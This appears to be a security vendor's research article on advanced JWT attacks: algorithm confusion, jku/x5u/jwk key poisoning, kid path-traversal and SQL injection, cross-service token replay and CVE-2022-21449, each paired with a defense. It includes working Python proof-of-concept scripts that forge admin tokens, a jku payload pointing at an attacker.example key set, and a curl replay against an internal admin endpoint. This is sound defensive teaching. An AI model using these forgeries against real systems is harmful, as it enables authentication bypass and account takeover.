Skip to main content
Research
Vulnerability Research

Advanced JWT Attack Chains: Algorithm Confusion and JWKS Poisoning

The JWT attacks that bypass mature defenses: RS256-to-HS256 confusion, jku/x5u poisoning, kid injection, and cross-service token replay.

May 28, 2026 16 min 2,368 words 10 sections Breachline Labs

Most JWT guidance stops at "reject alg:none and use a strong secret." Teams that have done both still get their authentication forged, because the interesting attacks do not live in the obvious places. They live in how a verifier resolves keys, how it maps an algorithm name to a verification routine, and how two services that share a token format quietly disagree about who is allowed to issue tokens.

This paper assumes you already reject none and rotate secrets. It works through the attacks that defeat that baseline: algorithm confusion against real key-loading code, JWKS resolution poisoning via jku and x5u, kid as an injection sink, cross-service and cross-tenant replay, and the verification architecture that closes all of them at once. Every technique is mapped to a documented primitive.

The threat model that matters

A JWT verifier is a small state machine that takes attacker-controlled bytes (the token) and returns a trusted identity. The attacker's goal is to make that machine return an identity it should not. There are only a few levers, and the header exposes most of them:

  • alg selects the verification algorithm. If the attacker controls which algorithm runs, they often control the key semantics too.
  • kid, jku, jwk, and x5u tell the verifier which key to use or where to get it. Each is attacker-supplied.
  • The claims (iss, aud, sub, exp) define scope. A signature that is cryptographically valid but accepted in the wrong context is still a break.

Sophisticated attacks chain a key-resolution flaw with a context flaw. The signature ends up technically valid, which is exactly why these slip past teams that only audit the crypto.

Attack 1: algorithm confusion against real key-loading code

The textbook description, "switch RS256 to HS256 and sign with the public key," is correct but incomplete. What makes it exploitable in practice is the shape of the verification call.

Consider a common, vulnerable pattern where the library auto-selects the algorithm from the token header and the developer passes a single key object:

# VULNERABLE: the key is the RSA public key, but the alg comes from the token.
public_key = load_rsa_public_key("jwt_public.pem")
claims = jwt.decode(token, key=public_key, algorithms=["RS256", "HS256"])  # both allowed

The RSA public key is, by design, not a secret. When the attacker sets the header to HS256, a permissive verifier treats the PEM bytes of that public key as the HMAC shared secret. The attacker, who also has the public key, computes HMAC-SHA256(public_key_bytes, header.payload) and produces a signature the server accepts. No private key is ever needed.

The subtlety that breaks real-world exploitation attempts is key serialization. The HMAC must be computed over the exact byte representation the server uses as the secret: usually the full PEM string including the -----BEGIN PUBLIC KEY----- armor and trailing newline, but sometimes the DER bytes or a specific PKCS encoding. Successful exploitation means matching that representation precisely. PortSwigger's analysis and WorkOS's writeup walk through obtaining the public key (often exposed at /.well-known/jwks.json or recoverable from two signed tokens) and trying each encoding.

PoC, forging an admin token using the server's own public key as the HMAC secret. Run this only against systems you own or are authorized to test:

import jwt  # PyJWT

# The RSA public key the server publishes (e.g. from /.well-known/jwks.json).
with open("server_public.pem", "rb") as f:
    public_pem = f.read()

forged = jwt.encode(
    {"sub": "attacker", "role": "admin"},
    key=public_pem,        # public key bytes used as the HMAC secret
    algorithm="HS256",     # downgrade RS256 -> HS256
    headers={"alg": "HS256"},
)
# A verifier that accepts both RS256 and HS256 and loads this same public
# key will validate the HMAC and trust role=admin. If the first encoding
# fails, retry with DER bytes or PEM without the trailing newline.
print(forged)

Defense: the verifier must pin the algorithm and the key type by configuration, never read alg from the token to choose a verification family. Pass algorithms=["RS256"] only, and ensure the library rejects a token whose alg is not in that exact list before any key is loaded.

Attack 2: JWKS resolution poisoning (jku, x5u, jwk)

Modern services rarely hardcode a key. They resolve it dynamically from a JSON Web Key Set, and the token header can influence that resolution. This is the richest attack surface in 2026-era JWT deployments.

Rendering diagram

Three header parameters drive this:

  • jku (JWK Set URL). Points to a URL hosting the key set. A verifier that fetches keys from the token-supplied jku will fetch from the attacker's server. The attacker hosts a JWKS containing their own public key under a kid that matches their token, signs with their private key, and the server validates against the attacker's key. PortSwigger ships a dedicated lab on this exact flow. The strongest variant pairs jku with an SSRF or open-redirect on a trusted host, so the URL appears to originate from an allowlisted domain while actually serving attacker content. This is where JWT and SSRF attack chains converge.
  • x5u (X.509 URL) and x5c (X.509 cert chain). The certificate analogues of jku/jwk. A verifier that trusts a certificate URL or an embedded chain from the header, without validating it against a trusted CA, accepts an attacker-supplied cert.
  • jwk (embedded JWK). The public key is embedded directly in the header. A verifier that uses it without checking it against a trusted store will validate a self-signed forgery.

PoC, a jku pointed at an attacker-controlled key set. The attacker hosts their own JWKS and signs with the matching private key:

import jwt

# 1. Attacker generates a keypair and hosts the public half as a JWKS:
#    https://attacker.example/jwks.json  ->  {"keys":[{"kid":"atk1", ...}]}
with open("attacker_private.pem", "rb") as f:
    attacker_priv = f.read()

forged = jwt.encode(
    {"sub": "victim", "role": "admin"},
    key=attacker_priv,
    algorithm="RS256",
    headers={
        "kid": "atk1",
        "jku": "https://attacker.example/jwks.json",  # verifier fetches THIS
    },
)
# A verifier that fetches keys from the token's jku finds the attacker's
# key under kid=atk1 and validates the forgery. The dangerous variant sets
# jku to an SSRF/open-redirect on a trusted host so it passes a naive
# "must be on our domain" check while still serving attacker content.
print(forged)

Defense: verification keys must come only from a server-side trusted source. Ignore jwk entirely on the verification path. If jku or x5u is genuinely required (multi-issuer federation), restrict it to a strict allowlist of exact, scheme-checked URLs on infrastructure you control, and resolve them through a fetcher that cannot be redirected to internal hosts. Treat the combination of header-controlled key resolution and any SSRF primitive as critical.

Attack 3: kid as an injection sink

The kid (key ID) parameter is a lookup key, and lookups are injection-prone. Depending on how the server resolves kid, it becomes a different vulnerability class:

  • Path traversal to a predictable key. If kid selects a key file by path, "kid": "../../../../dev/null" makes the effective key the contents of an empty, world-readable file. The attacker then signs with an empty HMAC secret and the signature verifies. Variants point at other predictable static files (/proc/sys/kernel/..., a known CSS asset) whose contents the attacker can reproduce.
  • SQL injection. If kid indexes a database table, it is a classic SQLi sink. "kid": "x' UNION SELECT 'attacker_known_secret' -- " can make the query return a key the attacker controls.
  • Command injection. Rare but seen where kid is interpolated into a shell command for key retrieval.

PoC, the kid path-traversal trick that forces an empty signing key:

import jwt

# If the server resolves kid as a file path, point it at a file whose
# contents are known and empty, then sign with that empty key.
forged = jwt.encode(
    {"sub": "attacker", "role": "admin"},
    key="",                                  # empty secret = contents of /dev/null
    algorithm="HS256",
    headers={"kid": "../../../../../../dev/null"},
)
# A verifier that does open(kid).read() to get the HMAC secret reads an
# empty string, and HMAC("", header.payload) matches. The SQLi variant uses
#   "kid": "x' UNION SELECT 'known_secret'-- "
# to make the key-lookup query return a value the attacker controls.
print(forged)

Defense: treat kid as fully untrusted. Validate it against a finite set of known key IDs before any lookup, never interpolate it into a path, query, or command, and use parameterized lookups.

Attack 4: cross-service and cross-tenant replay

This is the flaw that survives a perfect crypto implementation. A token can be cryptographically valid and still be accepted where it should not be.

  • Audience confusion. A token minted for service A (aud: serviceA) is replayed against service B. If B shares the issuer's signing key (common in a microservice mesh with a central identity provider) and does not strictly validate aud, B accepts a token never intended for it. An attacker with a low-privilege token for one service can pivot to another.
  • Issuer confusion in multi-tenant systems. A token from tenant 1's issuer is accepted by tenant 2's verifier because both trust the same upstream key and neither pins iss to the tenant. This is a direct cross-tenant authentication bypass.
  • Type confusion. A refresh token, ID token, or email-verification token is replayed on an access-token endpoint that only checks the signature, not the token's intended purpose (often carried in a typ or custom claim).

PoC, no forgery needed. Capture a legitimate low-privilege token and replay it where it should not be accepted:

# A real token issued for service A, with aud=serviceA, sub=lowpriv-user.
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsb3dwcml2..."

# Replay it verbatim against service B in the same mesh. If B trusts the
# shared issuer key and does not pin aud=serviceB, it accepts a token
# that was never minted for it.
curl -s https://service-b.internal/api/admin/users \
  -H "Authorization: Bearer $TOKEN"
# Same idea cross-tenant: a tenant-1 token accepted by tenant-2's verifier
# because both trust the upstream key and neither pins iss to the tenant.

Defense: every verifier must validate iss against its own expected issuer and aud against its own identifier, and reject anything else, even with a valid signature. Pin token purpose explicitly. Prefer per-service or per-tenant keys so a token simply cannot verify outside its domain.

Attack 5: the crypto floor (CVE-2022-21449)

Sometimes the flaw is beneath your code. CVE-2022-21449, "Psychic Signatures," was a defect in the ECDSA verification of Java 15 through 18: the implementation failed to reject signatures where the values r and s were both zero, so an all-zero signature validated against any message and any key. Any system verifying ES256/ES384/ES512 JWTs on an affected JVM accepted a token with a blank signature. Neil Madden's original disclosure and JFrog's analysis cover the mechanics. The lesson for advanced threat models: your token security inherits every bug in the crypto library and runtime under it, so those must be in scope and patched.

The verification architecture that closes the set

Individual fixes are necessary but fragile. The durable approach is a verification design where attacker-controlled header fields cannot influence trust decisions at all.

LeverInsecure (token decides)Secure (server decides)
Algorithmread alg from headerpinned allowlist in config
Key sourcejku / x5u / jwk from headerserver-side trusted JWKS only
Key IDkid used in path/query directlyvalidated against known IDs
Scopesignature-only checkstrict iss + aud + purpose
Cryptowhatever the runtime doespatched, audited library

Concretely, a hardened verifier:

  1. Rejects the token if alg is not in a hardcoded allowlist, before loading any key.
  2. Resolves the key only from a server-controlled JWKS, ignoring jwk and unvalidated jku/x5u.
  3. Treats kid as an opaque token validated against known IDs.
  4. Verifies the signature with the pinned algorithm and key type.
  5. Enforces iss, aud, exp, nbf, and token purpose against this service's expected values.
  6. Runs on a patched crypto runtime.

Miss any one layer and the others can be chained around. Algorithm confusion needs step 1 and 4. JWKS poisoning needs step 2. Replay needs step 5. They are independent, which is why a real defense addresses all of them.

How Breachline tests for this

JWT flaws reward an attacker that chains, so Nebula tests them as chains rather than as a checklist. It fingerprints the token, then attempts each primitive and, critically, the combinations: algorithm confusion across multiple key serializations, jku pointed at attacker infrastructure and at SSRF-reachable trusted hosts, kid path and SQL injection, embedded jwk and x5c, and replay across discovered service and tenant boundaries. When a forged or replayed token is accepted, it confirms impact by exercising a privileged action, so the finding is "here is an admin session we minted via RS256-to-HS256 confusion," not "the verifier may be weak." It also checks the claim-validation layer independently, catching verifiers that pass the signature but ignore aud or iss.

Takeaways

  • The advanced JWT attacks chain a key-resolution flaw with a context flaw, producing a signature that is technically valid and therefore invisible to crypto-only audits.
  • Pin the algorithm and key type server-side; never let alg choose a verification family. This is the only real fix for algorithm confusion.
  • Resolve keys solely from a trusted server-side JWKS. jku, x5u, and jwk from the header are attacker input, and jku plus SSRF is a critical chain.
  • Enforce iss, aud, and token purpose on every verifier. Cross-service and cross-tenant replay defeats perfect crypto.
  • Patch the crypto runtime. CVE-2022-21449 shows the floor can fail independently of your code.

Sources